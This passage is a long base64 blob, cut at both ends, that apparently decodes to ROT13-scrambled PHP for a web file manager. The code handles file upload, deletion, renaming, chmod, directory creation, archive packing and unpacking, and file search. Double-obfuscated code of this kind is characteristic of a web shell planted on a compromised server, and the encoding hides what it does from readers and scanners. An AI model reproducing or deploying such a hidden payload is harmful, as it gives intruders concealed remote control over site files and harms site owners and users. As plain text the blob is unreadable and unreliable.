QokZmdlX2d6Y3kgPSAkZXJmX3lhdC4nX2dyemN5bmdyZic7DQokZ3pjeSA9ICFyemNnbCgkJGZnZV9nemN5KSA/IHdmYmFfcXJwYnFyKCQkZmdlX2d6Y3ksZ2VocikgOiAnJzsNCnZzICghcnpjZ2woJGd6Y3kpKXsNCgkkbnBndmlyID0gdmZmcmcoJF9DQkZHWyRlcmZfeWF0LidfZ2N5J10pID8gJF9DQkZHWyRlcmZfeWF0LidfZ2N5J10gOiAnJzsNCgkkZnJ5cnBnID0gJzxmcnlycGcgYW56cj0iJy4kZXJmX3lhdC4nX2djeSIgZ3ZneXI9IicuX18oJ0dyemN5bmdyJykuJyIgYmFwdW5hdHI9InZzIChndXZmLmlueWhyIT0tMSkgcWJwaHpyYWcuc2JlemZbXCdwYmFmYnlyXCddLnJ5cnpyYWdmW1wnJy4kZXJmX3lhdC4nXCddLmlueWhyID0gZ3V2Zi5iY2d2YmFmW2ZyeXJwZ3JxVmFxcmtdLmlueWhyOyByeWZyIHFicGh6cmFnLnNiZXpmW1wncGJhZmJ5clwnXS5yeXJ6cmFnZltcJycuJGVyZl95YXQuJ1wnXS5pbnlociA9XCdcJzsiID4nLiJcYSI7DQoJJGZyeXJwZyAuPSAnPGJjZ3ZiYSBpbnlocj0iLTEiPicgLiBfXygnRnJ5cnBnJykgLiAiPC9iY2d2YmE+XGEiOw0KCXNiZXJucHUgKCRnemN5IG5mICR4cmw9PiRpbnlocil7DQoJCSRmcnlycGcuPSc8YmNndmJhIGlueWhyPSInLiRpbnloci4nIiAnLigoIXJ6Y2dsKCRpbnlocikmJigkaW55aHI9PSRucGd2aXIpKT8nZnJ5cnBncnEnOicnKS4nID4nLl9fKCR4cmwpLiI8L2JjZ3ZiYT5cYSI7DQoJfQ0KCSRmcnlycGcgLj0gIjwvZnJ5cnBnPlxhIjsNCglycHViICRmcnlycGc7DQp9DQo/Pg0KCQk8L3NiZXo+DQoJPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPD9jdWMNCgl2cyAoIXJ6Y2dsKCRlcmYpKSB7DQoJCSRzaGE9J3N6XycuJGVyZl95YXQ7DQoJCXJwdWIgJzx1Mz4nLmZnZWdiaGNjcmUoJGVyZl95YXQpLicgJy5fXygnRXJmaHlnJykuJzwvdTM+PGNlcj4nLiRzaGEoJGVyZikuJzwvY2VyPic7DQoJfQ0KfSByeWZydnMgKCFyemNnbCgkX0VSREhSRkdbJ3JxdmcnXSkpew0KCXZzKCFyemNnbCgkX0VSREhSRkdbJ2ZuaXInXSkpIHsNCgkJJHNhID0gJGNuZ3UgLiAkX0VSREhSRkdbJ3JxdmcnXTsNCgkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cigkc2EpOw0KCSAgICB2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoJHNhLCAkX0VSREhSRkdbJ2FyanBiYWdyYWcnXSkpICR6ZnQgLj0gX18oJ1N2eXIgaGNxbmdycScpOw0KCQlyeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQoJCXZzICgkX1RSR1sncnF2ZyddPT1vbmZyYW56cihfX1NWWVJfXykpIHsNCgkJCWdiaHB1KF9fU1ZZUl9fLDE0MTUxMTYzNzEpOw0KCQl9IHJ5ZnIgew0KCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydlcmZnYmVyX2d2enInXSkpIGdiaHB1KCRzYSwkc3Z5cnpndnpyKTsNCgkJfQ0KCX0NCiAgICAkYnlxcGJhZ3JhZyA9IEBzdnlyX3RyZ19wYmFncmFnZigkY25ndSAuICRfRVJESFJGR1sncnF2ZyddKTsNCiAgICAkcnF2Z3l2YXggPSAkaGV5X3ZhcCAuICcmcnF2Zz0nIC4gJF9FUkRIUkZHWydycXZnJ10gLiAnJmNuZ3U9JyAuICRjbmd1Ow0KICAgICRvbnB4eXZheCA9ICRoZXlfdmFwIC4gJyZjbmd1PScgLiAkY25ndTsNCj8+DQo8Z25veXIgb2JlcXJlPScwJyBwcnl5ZmNucHZhdD0nMCcgcHJ5eWNucXF2YXQ9JzEnIGp2cWd1PSIxMDAlIj4NCjxnZT4NCiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLl9fKCdScXZnJykuJyAtICcuJGNuZ3UuJF9FUkRIUkZHWydycXZnJ10/PjwvZ3U+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDw/PSR6ZnQ/Pg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDw/PXN6X3VienIoKT8+IDxuIHVlcnM9Ijw/PSRvbnB4eXZheD8+Ij48Pz1fXygnT25weCcpPz48L24+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIiBueXZ0YT0icHJhZ3JlIj4NCiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kcnF2Z3l2YXg/PiI+DQogICAgICAgICAgICA8Z3JrZ25lcm4gYW56cj0iYXJqcGJhZ3JhZyIgdnE9ImFyanBiYWdyYWciIHBieWY9IjQ1IiBlYmpmPSIxNSIgZmdseXI9Imp2cWd1Ojk5JSIgZmNyeXlwdXJweD0ic255ZnIiPjw/PXVnenlmY3Jwdm55cHVuZWYoJGJ5cXBiYWdyYWcpPz48L2dya2duZXJuPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZm5pciIgaW55aHI9Ijw/PV9fKCdGaG96dmcnKT8+Ij4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9InBuYXByeSIgaW55aHI9Ijw/PV9fKCdQbmFwcnknKT8+Ij4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjw/Y3VjDQpycHViICRuaGd1WydmcGV2Y2cnXTsNCn0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ2V2dHVnZiddKSl7DQoJdnMoIXJ6Y2dsKCRfRVJESFJGR1snZm5pciddKSkgew0KCSAgICB2cyhzel9wdXpicSgkY25ndSAuICRfRVJESFJGR1snZXZ0dWdmJ10sIHN6X3BiYWlyZWdfZXZ0dWdmKCRfRVJESFJGR1snZXZ0dWdmX2lueSddKSwgQCRfRVJESFJGR1snZXJwaGVmdmlyeWwnXSkpDQoJCSR6ZnQgLj0gKF9fKCdTdnlyIGhjcW5ncnEnKSk7IA0KCQlyeWZyICR6ZnQgLj0gKF9fKCdSZWViZSBicHBoZWVycScpKTsNCgl9DQoJcHlybmVmZ25ncG5wdXIoKTsNCiAgICAkYnlxZXZ0dWdmID0gc3pfZXZ0dWdmX2ZnZXZhdCgkY25ndSAuICRfRVJESFJGR1snZXZ0dWdmJ10sIGdlaHIpOw0KICAgICR5dmF4ID0gJGhleV92YXAgLiAnJmV2dHVnZj0nIC4gJF9FUkRIUkZHWydldnR1Z2YnXSAuICcmY25ndT0nIC4gJGNuZ3U7DQogICAgJG9ucHh5dmF4ID0gJGhleV92YXAgLiAnJmNuZ3U9JyAuICRjbmd1Ow0KPz4NCjxnbm95ciBweW5mZj0ianVieXIiPg0KPGdlPg0KICAgIDxndT48Pz1fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuJGNuZ3U/PjwvZ3U+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDw/PSR6ZnQ/Pg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDxuIHVlcnM9Ijw/PSRvbnB4eXZheD8+Ij48Pz1fXygnT25weCcpPz48L24+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIiBueXZ0YT0icHJhZ3JlIj4NCiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0keXZheD8+Ij4NCiAgICAgICAgICAgPD89X18oJ0V2dHVnZicpLicgLSAnLiRfRVJESFJGR1snZXZ0dWdmJ10/PiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iZXZ0dWdmX2lueSIgaW55aHI9Ijw/PSRieXFldnR1Z2Y/PiI+DQogICAgICAgIDw/Y3VjIHZzICh2Zl9xdmUoJGNuZ3UuJF9FUkRIUkZHWydldnR1Z2YnXSkpIHsgPz4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iZXJwaGVmdmlyeWwiIGlueWhyPSIxIj4gPD89X18oJ0VycGhlZnZpcnlsJyk/PjxvZS8+DQogICAgICAgIDw/Y3VjIH0gPz4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZuaXIiIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiI+DQogICAgICAgIDwvc2Jlej4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KfSByeWZydnMgKCFyemNnbCgkX0VSREhSRkdbJ2VyYW56ciddKSYmJF9FUkRIUkZHWydlcmFuenInXTw+Jy4nKSB7DQoJdnMoIXJ6Y2dsKCRfRVJESFJGR1snZm5pciddKSkgew0KCSAgICBlcmFuenIoJGNuZ3UgLiAkX0VSREhSRkdbJ2VyYW56ciddLCAkY25ndSAuICRfRVJESFJGR1snYXJqYW56ciddKTsNCgkJJHpmdCAuPSAoX18oJ1N2eXIgaGNxbmdycScpKTsNCgkJJF9FUkRIUkZHWydlcmFuenInXSA9ICRfRVJESFJGR1snYXJqYW56ciddOw0KCX0NCglweXJuZWZnbmdwbnB1cigpOw0KICAgICR5dmF4ID0gJGhleV92YXAgLiAnJmVyYW56cj0nIC4gJF9FUkRIUkZHWydlcmFuenInXSAuICcmY25ndT0nIC4gJGNuZ3U7DQogICAgJG9ucHh5dmF4ID0gJGhleV92YXAgLiAnJmNuZ3U9JyAuICRjbmd1Ow0KDQo/Pg0KPGdub3lyIHB5bmZmPSJqdWJ5ciI+DQo8Z2U+DQogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy4kY25ndT8+PC9ndT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPD89JHpmdD8+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPG4gdWVycz0iPD89JG9ucHh5dmF4Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiIG55dnRhPSJwcmFncmUiPg0KICAgICAgICA8c2JleiBhbnpyPSJzYmV6MSIgenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSR5dmF4Pz4iPg0KICAgICAgICAgICAgPD89X18oJ0VyYW56cicpPz46IDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJhcmphbnpyIiBpbnlocj0iPD89JF9FUkRIUkZHWydlcmFuenInXT8+Ij48b2UvPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZm5pciIgaW55aHI9Ijw/PV9fKCdGaG96dmcnKT8+Ij4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjw/Y3VjDQp9IHJ5ZnIgew0KLy9ZcmcnZiBlYnB4IQ0KICAgICR6ZnQgPSAnJzsNCiAgICB2cyghcnpjZ2woJF9TVllSRlsnaGN5Ym5xJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsnaGN5Ym5xX3N2eXInXSkpIHsNCiAgICAgICAgdnMoIXJ6Y2dsKCRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10pKXsNCiAgICAgICAgICAgICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10gPSBmZ2VfZXJjeW5wcignJScsICcnLCAkX1NWWVJGWydoY3libnEnXVsnYW56ciddKTsNCiAgICAgICAgICAgIHZzKCF6YmlyX2hjeWJucXJxX3N2eXIoJF9TVllSRlsnaGN5Ym5xJ11bJ2d6Y19hbnpyJ10sICRjbmd1IC4gJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXSkpew0KICAgICAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQogICAgICAgICAgICB9IHJ5ZnIgew0KCQkJCSR6ZnQgLj0gX18oJ1N2eXJmIGhjeWJucXJxJykuJzogJy4kX1NWWVJGWydoY3libnEnXVsnYW56ciddOw0KCQkJfQ0KICAgICAgICB9DQogICAgfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1sncXJ5cmdyJ10pJiYkX0VSREhSRkdbJ3FyeXJnciddPD4nLicpIHsNCiAgICAgICAgdnMoIXN6X3FyeV9zdnlyZigoJGNuZ3UgLiAkX0VSREhSRkdbJ3FyeXJnciddKSwgZ2VocikpIHsNCiAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQogICAgICAgIH0gcnlmciB7DQoJCQkkemZ0IC49IF9fKCdRcnlyZ3JxJykuJyAnLiRfRVJESFJGR1sncXJ5cmdyJ107DQoJCX0NCgl9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWyd6eHF2ZSddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ3pueHJfcXZlcnBnYmVsJ10pKSB7DQogICAgICAgIHZzKCFAenhxdmUoJGNuZ3UgLiAkX0VSREhSRkdbJ3F2ZWFuenInXSwwNzc3KSkgew0KICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCiAgICAgICAgfSByeWZyIHsNCgkJCSR6ZnQgLj0gX18oJ1Blcm5ncnEnKS4nICcuJF9FUkRIUkZHWydxdmVhbnpyJ107DQoJCX0NCiAgICB9IHJ5ZnJ2cyghcnpjZ2woJF9DQkZHWydmcm5lcHVfZXJwaGVmdmlyJ10pKSB7DQoJCXZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsICcwJyk7DQoJCSRmcm5lcHVfcW5nbiA9ICBzdmFxX2dya2dfdmFfc3Z5cmYoJF9DQkZHWydjbmd1J10sICRfQ0JGR1snem5meCddLCAkX0NCRkdbJ2ZybmVwdV9lcnBoZWZ2aXInXSk7DQoJCXZzKCFyemNnbCgkZnJuZXB1X3FuZ24pKSB7DQoJCQkkemZ0IC49IF9fKCdTYmhhcSB2YSBzdnlyZicpLicgKCcucGJoYWcoJGZybmVwdV9xbmduKS4nKTo8b2U+JzsNCgkJCXNiZXJucHUgKCRmcm5lcHVfcW5nbiBuZiAkc3Z5cmFuenIpIHsNCgkJCQkkemZ0IC49ICc8biB1ZXJzPSInLnN6X2hleShnZWhyKS4nP3N6PWdlaHImcnF2Zz0nLm9uZnJhbnpyKCRzdnlyYW56cikuJyZjbmd1PScuZmdlX2VyY3lucHIoJy8nLm9uZnJhbnpyKCRzdnlyYW56ciksJy8nLCRzdnlyYW56cikuJyIgZ3ZneXI9IicgLiBfXygnUnF2ZycpIC4gJyI+Jy5vbmZyYW56cigkc3Z5cmFuenIpLic8L24+JmFvZmM7ICZhb2ZjOyc7DQoJCQl9DQoJCX0gcnlmciB7DQoJCQkkemZ0IC49IF9fKCdBYmd1dmF0IHNiaGFxcnEnKTsNCgkJfQkNCgl9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWyd6eHN2eXInXSkmJiFyemNnbCgkc3pfcGJhc3Z0Wydhcmpfc3Z5ciddKSkgew0KICAgICAgICB2cyghJHNjPUBzYmNyYSgkY25ndSAuICRfRVJESFJGR1snc3Z5cmFuenInXSwiaiIpKSB7DQogICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICB9IHJ5ZnIgew0KCQkJc3B5YmZyKCRzYyk7DQoJCQkkemZ0IC49IF9fKCdQZXJuZ3JxJykuJyAnLiRfRVJESFJGR1snc3Z5cmFuenInXTsNCgkJfQ0KICAgIH0gcnlmcnZzICh2ZmZyZygkX1RSR1snbXZjJ10pKSB7DQoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWydtdmMnXSk7DQoJCSRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpLicubXZjJzsNCgkJZnJnX2d2enJfeXZ6dmcoMCk7DQoJCSRjdW5lID0gYXJqIEN1bmVRbmduKCRxcmZndmFuZ3ZiYSk7DQoJCSRjdW5lLT5vaHZ5cVNlYnpRdmVycGdiZWwoJGZiaGVwcik7DQoJCXZzICh2Zl9zdnlyKCRxcmZndmFuZ3ZiYSkpDQoJCSR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdOZXB1dml2YXQnKS4nICcuJHFyZmd2YW5ndmJhLiciICcuX18oJ3FiYXInKS4NCgkJJy4mYW9mYzsnLnN6X3l2YXgoJ3FiamF5Ym5xJywkY25ndS4kcXJmZ3Zhbmd2YmEsX18oJ1FiamF5Ym5xJyksX18oJ1FiamF5Ym5xJykuJyAnLiAkcXJmZ3Zhbmd2YmEpDQoJCS4nJmFvZmM7PG4gdWVycz0iJy4kaGV5X3ZhcC4nJnFyeXJncj0nLiRxcmZndmFuZ3ZiYS4nJmNuZ3U9JyAuICRjbmd1LiciIGd2Z3lyPSInLl9fKCdRcnlyZ3InKS4nICcuICRxcmZndmFuZ3ZiYS4nIiA+Jy5fXygnUXJ5cmdyJykgLiAnPC9uPic7DQoJCXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKS4nOiAnLl9fKCdhYiBzdnlyZicpOw0KCX0gcnlmcnZzICh2ZmZyZygkX1RSR1sndG0nXSkpIHsNCgkJJGZiaGVwciA9IG9uZnI2NF9xcnBicXIoJF9UUkdbJ3RtJ10pOw0KCQkkbmVwdXZpciA9ICRmYmhlcHIuJy5nbmUnOw0KCQkkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKS4nLmduZSc7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgaGF5dmF4KCRuZXB1dmlyKTsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSBoYXl2YXgoJG5lcHV2aXIuJy50bScpOw0KCQlweXJuZWZnbmdwbnB1cigpOw0KCQlmcmdfZ3Z6cl95dnp2ZygwKTsNCgkJLy9xdnIoKTsNCgkJJGN1bmUgPSBhcmogQ3VuZVFuZ24oJHFyZmd2YW5ndmJhKTsNCgkJJGN1bmUtPm9odnlxU2VielF2ZXJwZ2JlbCgkZmJoZXByKTsNCgkJJGN1bmUtPnBiemNlcmZmKEN1bmU6OlRNLCcuZ25lLnRtJyk7DQoJCWhhZnJnKCRjdW5lKTsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIpKSB7DQoJCQl2cyAodmZfc3Z5cigkbmVwdXZpci4nLnRtJykpIHsNCgkJCQloYXl2YXgoJG5lcHV2aXIpOyANCgkJCQkkcXJmZ3Zhbmd2YmEgLj0gJy50bSc7DQoJCQl9DQoNCgkJCSR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdOZXB1dml2YXQnKS4nICcuJHFyZmd2YW5ndmJhLiciICcuX18oJ3FiYXInKS4NCgkJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQ0KCQkJLicmYW9mYzs8biB1ZXJzPSInLiRoZXlfdmFwLicmcXJ5cmdyPScuJHFyZmd2YW5ndmJhLicmY25ndT0nIC4gJGNuZ3UuJyIgZ3ZneXI9IicuX18oJ1FyeXJncicpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpLic8L24+JzsNCgkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJzogJy5fXygnYWIgc3Z5cmYnKTsNCgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3FycGJ6Y2VyZmYnXSkpIHsNCgkJLy8gJGZiaGVwciA9IG9uZnI2NF9xcnBicXIoJF9UUkdbJ3FycGJ6Y2VyZmYnXSk7DQoJCS8vICRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpOw0KCQkvLyAkcmtnID0gcmFxKHJrY3licXIoIi4iLCAkcXJmZ3Zhbmd2YmEpKTsNCgkJLy8gdnMgKCRya2c9PSdtdmMnIEJFICRya2c9PSd0bScpIHsNCgkJCS8vICRjdW5lID0gYXJqIEN1bmVRbmduKCRmYmhlcHIpOw0KCQkJLy8gJGN1bmUtPnFycGJ6Y2VyZmYoKTsNCgkJCS8vICRvbmZyX3N2eXIgPSBmZ2VfZXJjeW5wcignLicuJHJrZywnJywkcXJmZ3Zhbmd2YmEpOw0KCQkJLy8gJHJrZyA9IHJhcShya2N5YnFyKCIuIiwgJG9uZnJfc3Z5cikpOw0KCQkJLy8gdnMgKCRya2c9PSdnbmUnKXsNCgkJCQkvLyAkY3VuZSA9IGFyaiBDdW5lUW5nbigkb25mcl9zdnlyKTsNCgkJCQkvLyAkY3VuZS0+cmtnZW5wZ0diKHF2ZSgkZmJoZXByKSk7DQoJCQkvLyB9DQoJCS8vIH0gDQoJCS8vICR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdRcnBiemNlcmZmJykuJyAnLiRmYmhlcHIuJyIgJy5fXygncWJhcicpOw0KCX0gcnlmcnZzICh2ZmZyZygkX1RSR1sndG1zdnlyJ10pKSB7DQoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWyd0bXN2eXInXSk7DQoJCSRuZXB1dmlyID0gJGZiaGVwci4nLmduZSc7DQoJCSRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpLicuZ25lJzsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIpKSBoYXl2YXgoJG5lcHV2aXIpOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpci4nLnRtJykpIGhheXZheCgkbmVwdXZpci4nLnRtJyk7DQoJCWZyZ19ndnpyX3l2enZnKDApOw0KCQkvL3JwdWIgJHFyZmd2YW5ndmJhOw0KCQkkcmtnX25lZSA9IHJrY3licXIoJy4nLG9uZnJhbnpyKCRmYmhlcHIpKTsNCgkJdnMgKHZmZnJnKCRya2dfbmVlWzFdKSkgew0KCQkJaGFmcmcoJHJrZ19uZWVbMF0pOw0KCQkJJHJrZz12emN5YnFyKCcuJywkcmtnX25lZSk7DQoJCX0gDQoJCSRjdW5lID0gYXJqIEN1bmVRbmduKCRxcmZndmFuZ3ZiYSk7DQoJCSRjdW5lLT5ucXFTdnlyKCRmYmhlcHIpOw0KCQkkY3VuZS0+cGJ6Y2VyZmYoQ3VuZTo6VE0sJHJrZy4nLmduZS50bScpOw0KCQloYWZyZygkY3VuZSk7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgew0KCQkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSB7DQoJCQkJaGF5dmF4KCRuZXB1dmlyKTsgDQoJCQkJJHFyZmd2YW5ndmJhIC49ICcudG0nOw0KCQkJfQ0KCQkJJHpmdCAuPSBfXygnR25meCcpLicgIicuX18oJ05lcHV2aXZhdCcpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgJy5fXygncWJhcicpLg0KCQkJJy4mYW9mYzsnLnN6X3l2YXgoJ3FiamF5Ym5xJywkY25ndS4kcXJmZ3Zhbmd2YmEsX18oJ1FiamF5Ym5xJyksX18oJ1FiamF5Ym5xJykuJyAnLiAkcXJmZ3Zhbmd2YmEpDQoJCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiRxcmZndmFuZ3ZiYS4nIiA+Jy5fXygnUXJ5cmdyJykuJzwvbj4nOw0KCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKS4nOiAnLl9fKCdhYiBzdnlyZicpOw0KCX0NCj8+DQo8Z25veXIgcHluZmY9Imp1YnlyIiB2cT0idXJucXJlX2dub3lyIiA+DQo8Z2U+DQogICAgPGd1IHBieWZjbmE9IjIiPjw/PV9fKCdTdnlyIHpuYW50cmUnKT8+PD89KCFyemNnbCgkY25ndSk/JyAtICcuJGNuZ3U6JycpPz48L2d1Pg0KPC9nZT4NCjw/Y3VjIHZzKCFyemNnbCgkemZ0KSl7ID8+DQo8Z2U+DQoJPGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmoyIj48Pz0kemZ0Pz48L2dxPg0KPC9nZT4NCjw/Y3VjIH0gPz4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajIiPg0KCQk8Z25veXI+DQoJCQk8Z2U+DQoJCQk8Z3E+DQoJCQkJPD89c3pfdWJ6cigpPz4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8P2N1YyB2cyghcnpjZ2woJHN6X3BiYXN2dFsnem54cl9xdmVycGdiZWwnXSkpIHsgPz4NCgkJCQk8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JGhleV92YXA/PiI+DQoJCQkJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY25ndSIgaW55aHI9Ijw/PSRjbmd1Pz4iIC8+DQoJCQkJPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9InF2ZWFuenIiIGZ2bXI9IjE1Ij4NCgkJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJ6eHF2ZSIgaW55aHI9Ijw/PV9fKCdabnhyIHF2ZXJwZ2JlbCcpPz4iPg0KCQkJCTwvc2Jlej4NCgkJCTw/Y3VjIH0gPz4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8P2N1YyB2cyghcnpjZ2woJHN6X3BiYXN2dFsnYXJqX3N2eXInXSkpIHsgPz4NCgkJCQk8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JGhleV92YXA/PiI+DQoJCQkJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY25ndSIgICAgIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJCTx2YWNoZyBnbGNyPSJncmtnIiAgIGFuenI9InN2eXJhbnpyIiBmdm1yPSIxNSI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0ienhzdnlyIiAgIGlueWhyPSI8Pz1fXygnQXJqIHN2eXInKT8+Ij4NCgkJCQk8L3NiZXo+DQoJCQk8P2N1YyB9ID8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJCTxzYmV6ICB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JGhleV92YXA/PiIgZmdseXI9InF2ZmN5bmw6dmF5dmFyIj4NCgkJCQk8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJjbmd1IiBpbnlocj0iPD89JGNuZ3U/PiIgLz4NCgkJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgY3lucHJ1YnlxcmU9Ijw/PV9fKCdFcnBoZWZ2aXIgZnJuZXB1Jyk/PiIgYW56cj0iZnJuZXB1X2VycGhlZnZpciIgaW55aHI9Ijw/PSFyemNnbCgkX0NCRkdbJ2ZybmVwdV9lcnBoZWZ2aXInXSk/JF9DQkZHWydmcm5lcHVfZXJwaGVmdmlyJ106Jyc/PiIgZnZtcj0iMTUiPg0KCQkJCTx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJ6bmZ4IiBjeW5wcnVieXFyZT0iPD89X18oJ1puZngnKT8+IiBpbnlocj0iPD89IXJ6Y2dsKCRfQ0JGR1snem5meCddKT8kX0NCRkdbJ3puZngnXTonKi4qJz8+IiBmdm1yPSI1Ij4NCgkJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmcm5lcHUiIGlueWhyPSI8Pz1fXygnRnJuZXB1Jyk/PiI+DQoJCQkJPC9zYmV6Pg0KCQkJPC9ncT4NCgkJCTxncT4NCgkJCTw/PXN6X2VoYV92YWNoZygnY3VjJyk/Pg0KCQkJPC9ncT4NCgkJCTxncT4NCgkJCTw/PXN6X2VoYV92YWNoZygnZmR5Jyk/Pg0KCQkJPC9ncT4NCgkJCTwvZ2U+DQoJCTwvZ25veXI+DQogICAgPC9ncT4NCiAgICA8Z3EgcHluZmY9ImViajMiPg0KCQk8Z25veXI+DQoJCTxnZT4NCgkJPGdxPg0KCQk8P2N1YyB2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2hjeWJucV9zdnlyJ10pKSB7ID8+DQoJCQk8c2JleiBhbnpyPSJzYmV6MSIgenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iIHJhcGdsY3I9InpoeWd2Y25lZy9zYmV6LXFuZ24iPg0KCQkJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY25ndSIgaW55aHI9Ijw/PSRjbmd1P